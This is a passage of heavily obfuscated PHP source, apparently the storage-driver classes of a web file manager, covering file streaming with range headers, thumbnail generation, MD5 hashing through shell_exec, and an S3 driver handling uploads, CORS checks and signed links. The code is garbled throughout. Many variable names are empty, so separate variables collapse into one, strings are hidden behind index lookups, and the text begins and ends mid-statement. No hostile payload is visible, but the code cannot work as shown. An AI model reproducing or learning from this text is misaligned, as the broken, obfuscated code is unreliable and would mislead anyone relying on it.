$η[8]) . $η[8]; foreach ($Ĕ͡ as $) { $ = array($η[86] => $[$η[86]], $η[88] => $[$η[86]], $η[77] => $[$η[77]]); if (isset($[$η[78]]) && !$[$η[77]]) { $[$η[78]] = $[$η[78]]; } if (isset($[$η[87]])) { $[$η[87]] = $[$η[87]]; } if (is_array($[$η[89]])) { $[$η[88]] = $[$η[89]][$η[86]]; $[$η[78]] = $[$η[89]][$η[78]]; $[$η[87]] = $[$η[89]][$η[87]]; } else { if (substr($[$η[86]], 0, strlen($)) == $) { $[$η[86]] = substr($[$η[86]], strlen($)); } } $ىρ = $[$η[77]] ? $η[8] : $η[12]; $[$η[88]] = rtrim($[$η[88]], $η[8]) . $ىρ; $[$η[86]] = $η[8] . trim($[$η[86]], $η[8]) . $ىρ; if (!$) { $뾥 = explode($η[8], trim($[$η[86]], $η[8])); $[$η[86]] = $η[8] . implode($η[8], array_slice($뾥, 1)) . $ىρ; } $崂[] = $; } return array_sort_by($崂, $η[86]); } public function upload($ĉ, $, $ = false, $쩤ڒ = REPEAT_REPLACE) { } public function uploadFileByID($圊, $, $򺊡) { } public function uploadFileByPath($͝, $Յ, $ = array()) { } public function isUploadServer() { $² =& $_SERVER[砐]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $²[90]) { return !0; } return $GLOBALS[$²[6]][$²[91]][$²[92]]; } public function isFileOutServer() { $홈 =& $_SERVER[砐]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $홈[90]) { return !0; } return $GLOBALS[$홈[6]][$홈[91]][$홈[93]]; } public function isCdnHost() { if ($this->isFileOutServer() || empty($this->cdnHost)) { return !1; } return request_url_safe($this->cdnHost) ? !0 : !1; } public function getCdnLink($) { $ =& $_SERVER[砐]; if (!$this->isCdnHost()) { return $; } return str_replace(trim(get_url_root($), $[8]), trim($this->cdnHost, $[8]), $); } public function uploadLink($, $ = 0) { $Ǩ =& $_SERVER[砐]; if ($this->isUploadServer()) { return; } $݄ = $this->getType(); if (!in_array($݄, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $⹈ = 1024 * 1024 * 10; $Ԯې = $ <= $⹈ ? $Ǩ[94] : $Ǩ[95]; $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ = $this->{$Ԯې}($, $); if ($) { $[$Ǩ[96]] = $; $[$Ǩ[97]] = $݄; } return $; } public function uploadFormData($ᛤ, $Άٸ = 3600) { } public function multiUploadFormData($҂, $󾎅 = 3600) { } public function download($ɢ, $) { } public function ext($) { $ô =& $_SERVER[砐]; if (strpos($, $ô[8]) === -1) { $ = $; } else { $ = $this->pathThis($); } $ˣ = $ô[12]; if (strstr($, $ô[10])) { $ˣ = substr($, strrpos($, $ô[10]) + 1); $ˣ = strtolower($ˣ); } if (strlen($ˣ) > 3 && preg_match($ô[98], $ˣ, $؟)) { $ˣ = $ô[12]; } return $ˣ; } public function pathThis($) { $ɛ =& $_SERVER[砐]; $ = str_replace($ɛ[99], $ɛ[8], rtrim($, $ɛ[8])); $ŋ = strrpos($, $ɛ[8]); if ($ŋ === !1) { return $; } return substr($, $ŋ + 1); } public function pathFather($) { $ =& $_SERVER[砐]; $ = str_replace($[99], $[8], rtrim($, $[8])); $ϡȡ = strrpos($, $[8]); if ($ϡȡ === !1) { return $[12]; } return substr($, 0, $ϡȡ + 1); } public function hashSimple($) { $ӟ =& $_SERVER[砐]; if (!$) { return md5($ӟ[12]); } $ͯ = $this->size($); $ = 200; $ߥޯ = 50; if ($ͯ <= $ * $ߥޯ) { return $this->hashMd5($) . $ͯ; } $ٕ = intval($ͯ / $ߥޯ); $Ԝ = $ӟ[12]; for ($ϴ = 0; $ϴ < $ߥޯ; $ϴ++) { $Ԝ .= $this->fileSubstr($, $ٕ * $ϴ, $); } $Ԝ .= $this->fileSubstr($, $ͯ - $, $); return md5($Ԝ) . $ͯ; } public static $md5Cache = array(); public function hashMd5($̀) { if (!$̀) { return md5($_SERVER[砐][12]); } $̀ = $this->iconvSystem($̀); if (isset(self::$md5Cache[$̀])) { return self::$md5Cache[$̀]; } self::$md5Cache[$̀] = $this->hashMd5Shell($̀); if (!self::$md5Cache[$̀]) { self::$md5Cache[$̀] = @md5_file($̀); } return self::$md5Cache[$̀]; } private function hashMd5Shell($ӬŎ) { $ =& $_SERVER[砐]; if (!$ӬŎ) { return md5($[12]); } if (!function_exists($[100])) { return !1; } $ş = array($[101], $[102]); $ = Cache::get($[103]); if (!$) { $ñ = BASIC_PATH . $[104]; $ݙ = md5_file($ñ); $ = $[105]; foreach ($ş as $) { $؞ч = shell_exec($ . "\x20\x22{$ñ}\x22"); if ($؞ч && substr(trim($؞ч), 0, 32) == $ݙ) { $ = $; break; } } Cache::set($[103], $, 3600); } if ($ == $[105]) { return !1; } $؞ч = shell_exec($ . "\x20\42{$ӬŎ}\42"); $؞ч = str_replace($[106], $[12], $؞ч); return substr($؞ч, 0, 32); } public function link($轲) { return $轲; } public function fileOut($, $ܖѵ = false, $˴ = false, $ӤŊ = '') { $矷 =& $_SERVER[砐]; $this->cacheMethod(null, null); if (!$ || !$this->exist($)) { show_json(LNG($矷[107]), !1, $˴); } $ߐ = $this->getType() == $矷[108]; $ = $GLOBALS[$矷[6]][$矷[91]][$矷[109]][$矷[110]]; $ = (double) $GLOBALS[$矷[6]][$矷[91]][$矷[109]][$矷[111]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $庲 = $this->infoFull($); $ = $庲[$矷[78]]; $² = gmdate($矷[112], $庲[$矷[87]]); $ = $˴ ? $˴ : $this->iconvApp($庲[$矷[32]]); $ͫ̈́ = 0; $ߏ = $ - 1; $ユݔ = $this->ext($); if (in_array($ユݔ, array($矷[113], $矷[114], $矷[115], $矷[116]))) { $ユݔ = $矷[117]; } if (in_array($ユݔ, array($矷[118]))) { $ユݔ = $矷[119]; } if (!$ӤŊ) { $ӤŊ = md5($² . $); } $ӤŊ = $矷[120] . $ӤŊ . $矷[120]; $Ո = get_file_mime($ユݔ); $ = !0; $ = isset($_GET[$矷[121]]) ? !1 : !0; if ($ܖѵ === !1 && !mime_support($Ո)) { $Ո = $矷[122]; } header($矷[123]); header($矷[124] . $Ո); $т = rawurlencode($); $т = $矷[120] . $т . $矷[125] . $т; if ($ܖѵ) { header($矷[126]); header($矷[127] . $т); } else { if ($) { header($矷[128] . $т); } } header($矷[129] . gmdate($矷[112], time() + 3600 * 24 * 30) . $矷[130]); header($矷[131]); header($矷[132]); header($矷[133]); if (isset($_SERVER[$矷[134]]) && strtotime($_SERVER[$矷[134]]) == $庲[$矷[87]]) { header($矷[135], !0, 304); die; } if (isset($_SERVER[$矷[136]]) && $_SERVER[$矷[136]] == $ӤŊ) { header($矷[137] . $ӤŊ, !0, 304); die; } header($矷[137] . $ӤŊ); header($矷[138] . $² . $矷[130]); header($矷[139] . $); header($矷[140]); header($矷[141] . $); header($矷[142]); Hook::trigger($矷[143], $, $, $, $ユݔ); if (!$ܖѵ && $ユݔ == $矷[144]) { if ($ > 1024 * 1024 * 5) { die; } $䜩ӟ = $this->getContent($); $䜩ӟ = Html::clearSVG($䜩ӟ); header($矷[145] . strlen($䜩ӟ)); echo $䜩ӟ; die; } $ټ = strtolower($_SERVER[$矷[146]]); if ($ߐ && $ټ && $) { if (strstr($ټ, $矷[147])) { header($矷[148] . $); } else { if (strstr($ټ, $矷[149])) { header($矷[150] . $); } else { if (strstr($ټ, $矷[151])) { header($矷[152] . $); } } } if ($) { header($矷[153] . $); } return; } if (isset($_SERVER[$矷[154]])) { if (preg_match($矷[155], $_SERVER[$矷[154]], $膢)) { $ͫ̈́ = intval($膢[1]); $ͫ̈́ = $ͫ̈́ <= 0 ? 0 : ($ͫ̈́ >= $ߏ ? $ߏ : $ͫ̈́); if (!empty($膢[2])) { $ = intval($膢[2]); $ߏ = $ < $ͫ̈́ ? $ͫ̈́ : ($ >= $ߏ ? $ߏ : $); } } header($矷[156]); header("\103\157\x6e\x74\145\156\x74\55\x52\x61\156\x67\x65\72\x20\x62\x79\164\145\x73\40{$ͫ̈́}\x2d{$ߏ}\57" . $); } else { header($矷[157]); } header($矷[158]); $挳 = !0; if ($_SERVER[$矷[159]] == $矷[160] && $ > 1204 * 1024 * 1024 * 2) { $挳 = !1; } if ($挳) { header($矷[161] . ($ߏ - $ͫ̈́ + 1)); } if ($_SERVER[$矷[162]] == $矷[163]) { return; } $ = 1024 * 100; $ = 0; if ($) { $ = intval(1000 * 1000 * ($ / $)); } while ($ͫ̈́ <= $ߏ) { $ˢ = timeFloat(); check_abort(); $ȼ = $ߏ - $ͫ̈́ + 1; if ($ȼ <= $) { $ = $ȼ; } echo $this->fileSubstr($, $ͫ̈́, $); $ͫ̈́ += $; if ($ == $ȼ) { $ͫ̈́ = $ߏ + 1; } if ($) { $ո = intval(1000 * 1000 * (timeFloat() - $ˢ)); $׌ = $ - $ո; if ($׌ > 5) { usleep($׌); } } } } public function fileOutServer($잽, $ = false, $ = false, $𤏄 = '') { $this->fileOut($잽, $, $, $𤏄); } public function fileOutLink($韀) { header($_SERVER[砐][164] . $韀); die; } public function cacheMethod($, $ɉ, $Օ = null) { $˜ =& $_SERVER[砐]; static $ = array(); $ݶ۝ = $ɉ ? ltrim($this->getPathOuter($ɉ), $˜[8]) : $˜[12]; $׍ = $˜[165] . $ . $˜[166] . rtrim($ݶ۝, $˜[8]); if (is_null($)) { $ = array(); return; } if (is_null($ɉ)) { foreach ($ as $׍ => $ϔ) { if (!strstr($׍, $˜[165] . $ . $˜[167])) { continue; } unset($[$׍]); } return; } if (!is_null($Օ)) { $[$׍] = $Օ; return; } $ٺ = isset($[$׍]) ? $[$׍] : null; if (!is_null($ٺ)) { return $ٺ; } $ٺ = $this->{$}($ɉ); $[$׍] = $ٺ; return $ٺ; } public function cacheMethodInfoSet($©, $, $ί = false) { $󋗳 =& $_SERVER[砐]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($󋗳[168], $©, $); $this->cacheMethod($󋗳[169], $©, $ ? !1 : !0); if (is_array($ί)) { $this->cacheMethod($󋗳[170], $©, $ί); } } public function fileOutImage($䰖, $ܟɊ = 250) { $֦ =& $_SERVER[砐]; set_timeout(); if (substr($䰖, 0, 4) == $֦[151]) { $this->fileOutLink($䰖); } $넆 = $this->info($䰖); $Ԥ = !1; $ = isset($GLOBALS[$֦[171]]) ? $GLOBALS[$֦[171]] : array(); if ($ && $[$֦[172]] == $넆[$֦[86]]) { $넆 = $; $ڛ = $넆[$֦[173]]; if ($ڛ && isset($ڛ[$֦[174]])) { if ($ڛ[$֦[174]] <= $ܟɊ && $ڛ[$֦[175]] <= $ܟɊ) { $Ԥ = !0; } } } if ($넆[$֦[78]] <= 1024 * 50 || $Ԥ || !function_exists($֦[176]) || $넆[$֦[177]] == $֦[178]) { return $this->fileOut($䰖, !1, $넆[$֦[32]]); } $˜杊 = kodIO::hashPath($넆); $Ñ = "\x63\157\x76\145\x72\137{$˜杊}\x5f{$ܟɊ}\56\160\156\147"; $ԕ = IO_PATH_SYSTEM_TEMP . $֦[179]; $ = IO::infoFullSimple($ԕ); $ؕ = $ && is_array($) ? $[$֦[86]] : $֦[12]; if (!$ؕ) { $ؕ = IO::mkdir($ԕ); } if ($넆[$֦[180]] == $֦[181] && isset($넆[$֦[182]]) && $넆[$֦[182]] == kodIO::sourceID($ؕ)) { $˹ = $넆[$֦[183]]; if ($ܟɊ <= 500) { $ = preg_replace($֦[184], $֦[185], $넆[$֦[32]]); $˹ = IO::fileNameExist($ؕ, $); } return IO::fileOut(KodIO::make($˹), !1, $넆[$֦[32]]); } $ = IO::fileNameExist($ؕ, $Ñ); if ($) { return IO::fileOut(KodIO::make($), !1, $넆[$֦[32]]); } if ($ܟɊ > 1000) { $this->makeImageCover($ؕ, $䰖, $Ñ, $ܟɊ); $this->makeImageCover($ؕ, $䰖, "\143\x6f\x76\x65\x72\137{$˜杊}\137\x32\x35\x30\56\x70\x6e\x67", 250); $ = IO::fileNameExist($ؕ, $Ñ); if ($) { return IO::fileOut(KodIO::make($), !1, $넆[$֦[32]]); } die; } $ = Cache::get($Ñ); if ($ == $֦[186] || $ == $֦[187]) { echo $; die; } Cache::set($Ñ, $֦[187], 60); $Տ = array($ؕ, $넆[$֦[86]], $Ñ, $ܟɊ); $ٲ = $֦[188] . $넆[$֦[78]] . $֦[189] . $Ñ . $֦[190] . $넆[$֦[32]] . $֦[191] . $넆[$֦[86]]; TaskQueue::add($֦[192], $Տ, $ٲ, $Ñ); } public function makeImageCover($ѽȃ, $ɶ, $ĭ, $뀙є) { $Ǹ =& $_SERVER[砐]; if (IO::fileNameExist($ѽȃ, $ĭ)) { return $Ǹ[193]; } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } if (!is_dir(TEMP_FILES)) { mk_dir(TEMP_FILES); } $Ǧ = DATA_THUMB . $ĭ; del_file($Ǧ); $٣ = TEMP_FILES . $ĭ; if (!@file_exists($٣)) { $٣ = $this->download($ɶ, $٣); } if (!@file_exists($٣)) { return $Ǹ[194]; } ImageThumb::createThumb($٣, $Ǧ, $뀙є, $뀙є * 10); if (@file_exists($Ǧ)) { Cache::remove($ĭ); return IO::move($Ǧ, $ѽȃ); } Cache::set($ĭ, $Ǹ[186], 600); del_file($Ǧ); return $Ǹ[195] . $٣ . $Ǹ[73]; } public function fileOutImageServer($, $ = 250) { $this->fileOutImage($, $); } public function fileNameAuto($, $ꟄϤ, $ = REPEAT_RENAME, $Ù = false) { $ =& $_SERVER[砐]; $ = $ === $[12] ? $ꟄϤ : rtrim($, $[8]) . $[8] . $ꟄϤ; if ($ == REPEAT_REPLACE || !$this->exist($) || $Ù && $ != REPEAT_RENAME_FOLDER) { return $ꟄϤ; } if ($ == REPEAT_SKIP) { return !1; } $׼̔ = $[10] . get_path_ext($ꟄϤ); $׼̔ = $׼̔ == $[10] || $Ù ? $[12] : $׼̔; $ä = 1; $ = substr($ꟄϤ, 0, strlen($ꟄϤ) - strlen($׼̔)); $Ო = $ . "\x28{$ä}\51{$׼̔}"; while ($this->exist(rtrim($, $[8]) . $[8] . $Ო)) { $Ო = $ . "\50{$ä}\51{$׼̔}"; $ä++; } return $Ო; } private function fileNameAutoList($, $ȱ, $򶑕 = false) { $ =& $_SERVER[砐]; $գ = $this->listPath($, !0); $գ = array_merge($գ[$[84]], $գ[$[85]]); $ = array_to_keyvalue($գ, $[12], $[32]); $͞Ŝ = $[10] . get_path_ext($ȱ); $͞Ŝ = $͞Ŝ == $[10] || $򶑕 ? $[12] : $͞Ŝ; $ƭ = substr($ȱ, 0, strlen($ȱ) - strlen($͞Ŝ)); $ = $ƭ . "\50\x30\51{$͞Ŝ}"; for ($¬Ҧ = 1; $¬Ҧ <= count($) + 1; $¬Ҧ++) { $ = $ƭ . "\x28{$¬Ҧ}\x29{$͞Ŝ}"; if (!in_array_not_case($, $)) { return $; } } return $; } public function listAllFiles($, $) { $ =& $_SERVER[砐]; if (empty($)) { return array(); } $с = array_keys($); $ = array(); $ = trim($, $[8]); foreach ($ as $΅ => $ِ) { $ = ltrim(substr(trim($΅, $[8]), strlen($)), $[8]); if (substr($΅, -1) == $[8]) { $ = rtrim($, $[8]) . $[8]; } $ = array_merge($, $this->slicePath($)); } $ = array(); foreach (array_unique($) as $) { $ = array($[86] => $this->getPathOuter($[8] . $ . $[8] . $), $[77] => 1, $[78] => 0); if (substr($, -1) != $[8]) { $[$[77]] = 0; $ = $this->getPath($ . $[8] . $); if (isset($[$])) { $ǏƏ = $[$]; if (isset($ǏƏ[$[78]])) { $[$[78]] = intval($ǏƏ[$[78]]); } if (isset($ǏƏ[$[196]])) { $[$[87]] = intval($ǏƏ[$[196]]); } } } $[] = $; } return $; } public function slicePath($ˆ) { $ц =& $_SERVER[砐]; $Ŧ = explode($ц[8], trim($ˆ, $ц[8])); $𾨔 = 0; do { ++$𾨔; $̐[] = implode($ц[8], array_slice($Ŧ, 0, $𾨔)) . $ц[8]; } while ($𾨔 < count($Ŧ)); $̐[count($Ŧ) - 1] = $ˆ; return $̐; } public function getHost() { $‘ =& $_SERVER[砐]; $Ѭ = parse_url(trim($this->domain, $‘[8])); $ؾ = isset($Ѭ[$‘[197]]) ? $Ѭ[$‘[197]] : http_type(); $ = isset($Ѭ[$‘[198]]) ? $Ѭ[$‘[198]] : $Ѭ[$‘[86]]; if (isset($Ѭ[$‘[199]])) { $ .= $‘[4] . $Ѭ[$‘[199]]; } return $ؾ . $‘[200] . $; } public function pathEncode($Ч) { $栧 =& $_SERVER[砐]; return str_replace($栧[201], $栧[8], rawurlencode($Ч)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\166\64"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($) { set_timeout(); require_once SDK_DIR . $_SERVER[砐][202]; parent::__construct(); $this->_init($); } public function _init($) { $this->config = $; foreach ($ as $ք => $㩠) { if (isset($this->{$ք})) { $this->{$ք} = $㩠; } } $this->endpoint = $[$_SERVER[砐][203]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($ = "\166\64") { $this->signVer = $; $this->client->setSignatureVersion($); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $⫍ =& $_SERVER[砐]; $ͻ = $this->getBucketCors(); if (!$ͻ || !is_array($ͻ)) { return !1; } if ($ͻ[$⫍[204]] != $⫍[205] || $ͻ[$⫍[206]] != $⫍[205]) { return !1; } $ۙ = array_map($⫍[207], $ͻ[$⫍[208]]); if (!is_array($ۙ)) { $ۙ = array(); } $߀ = array($⫍[209], $⫍[210], $⫍[211], $⫍[212], $⫍[213]); $턣 = array_diff($߀, $ۙ); return empty($턣); } public function mkfile($Ҭ, $ = '', $ = REPEAT_RENAME) { $ = $this->setContent($Ҭ, $); if ($ !== !1) { return $this->getPathOuter($Ҭ); } return !1; } public function mkdir($, $ӹÑ = REPEAT_SKIP) { $ʻ =& $_SERVER[砐]; if (empty($) && $ !== $ʻ[214]) { return !1; } if ($ӹÑ && $this->_isFolder($)) { return $this->getPathOuter($); } $ȗ = $this->setContent($, $ʻ[12], !0); if ($ȗ !== !1) { return $this->getPathOuter($); } return !1; } public function copyFile($, $ρ, $܎ = array()) { $ۛ௳ =& $_SERVER[砐]; $ރ͝ = $this->objectMeta($); if (!$ރ͝) { return !1; } if ($ރ͝[$ۛ௳[78]] <= 1024 * 1024 * 200) { $˶򛵊 = $this->client->copyObject($this->bucket, $, $this->bucket, $ρ, $ۛ௳[215], $܎); } else { $˶򛵊 = $this->client->multiCopyObject($this->bucket, $, $this->bucket, $ρ, $܎); } $˶򛵊 = $˶򛵊 ? $this->getPathOuter($ρ) : !1; return $˶򛵊; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->delFile($); return $this->getPathOuter($); } return !1; } public function delFile($LJ) { return $this->client->deleteObject($this->bucket, $LJ); } public function delFolder($) { $ =& $_SERVER[砐]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[214] && !in_array($, $[$[84]])) { $[$[84]][] = $; } $蜘 = $this->delByBatch($[$[85]]); if (!$蜘) { return !1; } $蜘 = $this->delByBatch($[$[84]]); if (!$蜘) { return !1; } return $this->delFile($); } private function delByBatch($ѐª) { foreach (array_chunk($ѐª, 1000) as $伵) { $ = $this->client->deleteObjects($this->bucket, $伵); if (!$) { return !1; } } return !0; } public function rename($ݭۗ, $Ɗ) { return $this->renameObject($ݭۗ, $Ɗ); } public function listPath($߳, $딐 = false) { $ =& $_SERVER[砐]; $ȍ = $this->fileList($߳, $[8], !0); foreach ($ȍ[$[84]] as $菇 => $ᦤҗ) { $ȍ[$[84]][$菇] = $this->folderInfo($ᦤҗ, $딐, $ᦤҗ); } foreach ($ȍ[$[85]] as $菇 => $ᦤҗ) { $ȍ[$[85]][$菇] = $this->fileInfo($ᦤҗ[$[32]], $딐, $ᦤҗ); } return $ȍ; } protected function infoChildren($Ļ, &$㊷) { $ =& $_SERVER[砐]; $ŵ = $this->fileList($Ļ, $[12], !0); $㊷[$[80]] += count($ŵ[$[84]]); $㊷[$[79]] += count($ŵ[$[85]]); foreach ($ŵ[$[85]] as $㦊) { if (!$㦊 || !$㦊[$[78]]) { continue; } $㊷[$[78]] += $㦊[$[78]]; } } private function fileInfo($졳ݩ, $ = false, $Ƹ = array()) { $ =& $_SERVER[砐]; $鐗 = array($[32] => $this->pathThis($졳ݩ), $[86] => $this->getPathOuter($졳ݩ), $[33] => $[216], $[177] => $this->ext($졳ݩ), $[78] => isset($Ƹ[$[78]]) ? $Ƹ[$[78]] : 0); if ($) { return $鐗; } $鐗[$[217]] = $鐗[$[87]] = 0; $鐗[$[218]] = $鐗[$[219]] = !0; if (empty($Ƹ)) { $Ƹ = $this->objectMeta($졳ݩ); if (!$Ƹ) { return $鐗; } } if (isset($Ƹ[$[220]]) && $Ƹ[$[220]]) { $鐗[$[221]] = $Ƹ[$[220]]; } if (isset($Ƹ[$[196]])) { $鐗[$[87]] = $Ƹ[$[196]]; } if (isset($Ƹ[$[78]])) { $鐗[$[78]] = $Ƹ[$[78]]; } return $鐗; } private function folderInfo($򊗻, $ݏϴ = false, $ = array()) { $ =& $_SERVER[砐]; $ = array($[32] => $this->pathThis($򊗻), $[86] => $this->getPathOuter($[8] . $򊗻), $[33] => $[77]); if ($ݏϴ) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if ($򊗻 == $[12]) { return $; } if (empty($)) { $ = $this->objectMeta(trim($򊗻, $[8]) . $[8]); } if (isset($[$[196]])) { $[$[217]] = $[$[196]]; } return $; } private function fileList($, $ = '', $ν = 0) { $҇ =& $_SERVER[砐]; $ = rtrim($, $҇[8]) . $҇[8]; $ = $this->listObjs($, null, null, $); if (!$) { return array($҇[84] => array(), $҇[85] => array()); } $Տ = $ = array(); foreach ($[$҇[222]] as $) { $ȹ = $[$҇[32]]; if ($ȹ == $) { continue; } $ = isset($[$҇[78]]) ? $[$҇[78]] : 0; $ǹ = $ == 0 && substr($ȹ, strlen($ȹ) - 1, 1) == $҇[8] ? !0 : !1; $this->cacheMethodInfoSet($ȹ, $ǹ, $); if ($ǹ) { $Տ[] = $ȹ; continue; } $[] = $ν ? $ : $ȹ; } foreach ($[$҇[223]] as $) { $Տ[] = $[$҇[32]]; $this->cacheMethodInfoSet($[$҇[32]], !0); } $this->cacheMethodInfoSet($, !0); return array($҇[84] => $Տ, $҇[85] => $); } private function listObjs($, $ի = null, $ᨳ = null, $ڧ = null) { $ =& $_SERVER[砐]; $ = trim($, $[8]); $ = empty($) && $ !== $[214] ? $[12] : $ . $[8]; return $this->client->getBucket($this->bucket, $, $ի, $ᨳ, $ڧ, !0); } public function has($Ȟ, $ʿ = false, $ = true) { $ =& $_SERVER[砐]; $Ȟ = trim($Ȟ, $[8]); $ = empty($Ȟ) && $Ȟ !== $[214] ? $[12] : $Ȟ . $[8]; $֫ = null; $ɪ = 500; $ = $[8]; $ = $ = array(); while (!0) { $ = $this->listObjs($Ȟ, $֫, $ɪ, $); if (!$) { break; } $֫ = $[$[224]]; $ = $[$[222]]; $ĵ = $[$[223]]; if (empty($) && empty($ĵ)) { break; } if (count($) == 1 && $[0][$[32]] == $) { break; } if ($ʿ) { if (count($)) { $ = array_column($, $[32]); $ = array_merge($, $); } if (count($ĵ)) { $ĵ = array_column($ĵ, $[32]); $ = array_merge($, $ĵ); } if ($֫ === null) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || isset($[0][$[32]]) && $[0][$[32]] != $) { return !0; } } } else { if (!empty($ĵ)) { return !0; } } if ($֫ === null) { break; } } if ($ʿ) { $ = array_diff($, array($)); $ = count(array_unique($)); $ = count(array_unique($)); return array($[225] => $, $[226] => $); } return !1; } public function listAll($䙣) { $ =& $_SERVER[砐]; $搜 = $this->fileList($䙣, $[12], !0); $à = array_to_keyvalue($搜[$[85]], $[32]); foreach ($搜[$[84]] as $) { if (is_string($)) { $à[$] = array($[78] => 0); } } return $this->listAllFiles($䙣, $à); } public function canRead($ϕ٘) { $ =& $_SERVER[砐]; $ = $this->client->getAccessControlPolicy($this->bucket, $ϕ٘); if (!$) { return !1; } return in_array($, array($[227], $[228], $[229])) ? !0 : !1; } public function canWrite($) { $ٵ =& $_SERVER[砐]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($ٵ[227], $ٵ[228])) ? !0 : !1; } public function getContent($) { return $this->client->getObject($this->bucket, $); } public function setContent($蠝ǚ, $ = '', $Ҧ = false) { $ǹ =& $_SERVER[砐]; $蠝ǚ = $Ҧ ? trim($蠝ǚ, $ǹ[8]) . $ǹ[8] : $蠝ǚ; $֤ = get_file_mime(get_path_ext($蠝ǚ)); $ň = $this->client->putObject($, $this->bucket, $蠝ǚ, $ǹ[215], array(), $֤); if (!$ň) { return !1; } if ($Ҧ) { return !0; } $this->cacheMethod(null, null); $ň = $this->copyFile($蠝ǚ, $蠝ǚ, array($ǹ[230] => $ň[$ǹ[220]])); return $ň ? !0 : !1; } public function fileSubstr($ʬ, $׹Έ, $ܥ) { $捼 = $׹Έ + $ܥ - 1; return $this->client->getObject($this->bucket, $ʬ, array($_SERVER[砐][231] => "\x62\x79\x74\145\x73\75{$׹Έ}\x2d{$捼}")); } public function upload($;, $ֈج, $ = false, $܈̟ = REPEAT_REPLACE) { $렽 =& $_SERVER[砐]; $ = array($렽[230] => @md5_file($ֈج)); $Ό = array($렽[232] => get_file_mime(get_path_ext($;))); if (IO::size($ֈج) <= 1024 * 1024 * 200) { $󵚠 = $this->client->putObjectFile($ֈج, $this->bucket, $;, $렽[215], $, $Ό); return !empty($󵚠) ? $this->getPathOuter($;) : !1; } $ = $this->client->multiUploadObject($ֈج, $this->bucket, trim($;, $렽[8]), $, $Ό); return $ ? $this->getPathOuter($;) : !1; } public function download($, $) { if (!@is_dir($this->pathFather($)) && !IO::mkdir($this->pathFather($))) { return !1; } $ = $this->client->getObject($this->bucket, $, array(), $); return $ !== !1 ? $ : !1; } public function link($ч, $ = array()) { $ٿ =& $_SERVER[砐]; if ($this->signVer == $ٿ[233]) { return $this->client->getAuthenticatedURL($this->bucket, $ч, 3600 * 12, $); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($ч, $ٿ[8]), 3600 * 12, $this->region, array(), !0, $); } public function fileOut($뙋, $ = false, $ɬ = false, $뜉 = '') { $嫦 =& $_SERVER[砐]; if ($this->isFileOutServer()) { return $this->fileOutServer($뙋, $, $ɬ, $뜉); } if (!$ɬ) { $ɬ = $this->pathThis($뙋); } $ = get_file_mime(get_path_ext($ɬ)); if ($ == $嫦[234]) { return parent::fileOut($뙋, $, $ɬ, $뜉); } $ͤ = array($嫦[235] => $); if ($) { $ͤ[$嫦[236]] = $嫦[237] . rawurlencode($ɬ); } else { } $ʹ = $this->link($뙋, $ͤ); $this->fileOutLink($ʹ); } public function fileOutServer($, $ײ = false, $׏랒 = false, $Ք = '') { parent::fileOut($, $ײ, $׏랒, $Ք); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($, $٭֑ = '') { $ˊ =& $_SERVER[砐]; $ = $this->objectMeta($); if (!$) { return !1; } $٭֑ = $٭֑ ? $٭֑ : _get($, $ˊ[238]); $٭֑ = $٭֑ ? $٭֑ : _get($, $ˊ[220], $ˊ[12]); return $٭֑; } public function uploadFormData($ڈ, $ = 3600) { $ =& $_SERVER[砐]; $ŧ = $this->pathFather($ڈ); $ = $this->client->getHttpUploadPostParams($this->bucket, $ŧ, $[215], $); return array_merge((array) $, array($[198] => $this->getHost())); } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[砐]; $Ԋ = gmdate($[239]); $Ļ = array(); $黟 = $this->client->getUploadId($this->bucket, $, $Ļ); if (!$黟) { return !1; } return array($[240] => $黟, $[198] => $this->getHost() . $[8] . $this->pathEncode($), $[241] => $Ԋ, $[96] => $); } public function multiUploadAuthData($, $ = array()) { $͔ =& $_SERVER[砐]; $Ġ = isset($[$͔[241]]) ? $[$͔[241]] : gmdate($͔[239]); $Ť = isset($[$͔[177]]) ? $[$͔[177]] : $͔[12]; $ = $[$͔[96]]; unset($[$͔[96]]); if (isset($[$͔[242]])) { $[$͔[241]] = $Ġ; return $this->listUploadParts($, $); } $ש = array($͔[243], $͔[12], $͔[122], $͔[12], "\170\55\x61\155\172\55\144\141\164\145\x3a{$Ġ}", $͔[8] . $this->bucket . $͔[8] . $this->pathEncode($) . $Ť); if (strpos($Ť, $͔[244]) === 0) { $ש[0] = $͔[245]; } if (isset($[$͔[246]]) && $[$͔[246]] == $͔[247]) { $ש[0] = $͔[247]; } $ = implode($͔[248], $ש); $ = base64_encode(hash_hmac($͔[249], $, $this->secret, !0)); $֍޵ = $͔[250] . $this->accessKey . $͔[4] . $; if (strpos($Ť, $͔[244]) === 0) { return array($͔[251] => $֍޵, $͔[241] => $Ġ); } return $֍޵; } public function listUploadParts($б, $ȸ = array()) { $ =& $_SERVER[砐]; $Է = str_replace($[252], $[12], $ȸ[$[177]]); $콮 = $this->client->listParts($this->bucket, $б, $Է); if (!$콮) { return !1; } unset($ȸ[$[242]], $ȸ[$[246]]); $ȸ[$[96]] = $б; $ = $this->multiUploadAuthData($б, $ȸ); if (empty($)) { return !1; } return 